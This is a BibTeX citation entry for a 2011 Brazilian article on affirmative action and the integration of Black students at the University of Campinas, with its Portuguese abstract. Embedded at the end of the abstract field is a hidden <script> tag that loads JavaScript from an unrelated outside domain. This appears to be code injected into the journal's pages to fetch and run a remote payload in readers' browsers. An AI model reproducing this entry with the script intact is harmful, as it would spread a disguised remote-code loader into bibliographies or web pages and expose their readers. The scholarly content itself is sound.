@article{Bonilha_2011, place={Campinas, SP}, title={Ações afirmativas e integração do negro no ensino superior: uma relação possível?}, volume={13}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1171}, DOI={10.20396/etd.v13i1.1171}, abstractNote={<p>Dados estatísticos e pesquisas acadêmicas apontam que a trajetória escolar do sujeito negro é significativamente mais acidentada que a do sujeito branco. Dentre os elementos que legitimam tal quadro de desigualdade social se destaca a discriminação racial. O presente artigo discute a integração do aluno negro na universidade, quando seu ingresso é facilitado por um programa de ação afirmativa, a qual visa assegurar o acesso de sujeitos negros a posições estratégicas na sociedade, tal como no ensino superior. Essa discussão é fruto de uma pesquisa de iniciação científica – realizada na Universidade Estadual de Campinas com alunos negros e brancos, beneficiados pelo Programa de Ação Afirmativa e Inclusão Social (PAAIS) – que teve como objetivo identificar os elementos que compõem o processo de integração do estudante negro no contexto universitário e analisar a visão do aluno negro a respeito da universidade e seus modos de inserção.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={1}, journal={ETD - Educação Temática Digital}, author={Bonilha, Tamyris Proenca}, year={2011}, month={set.}, pages={152–167} }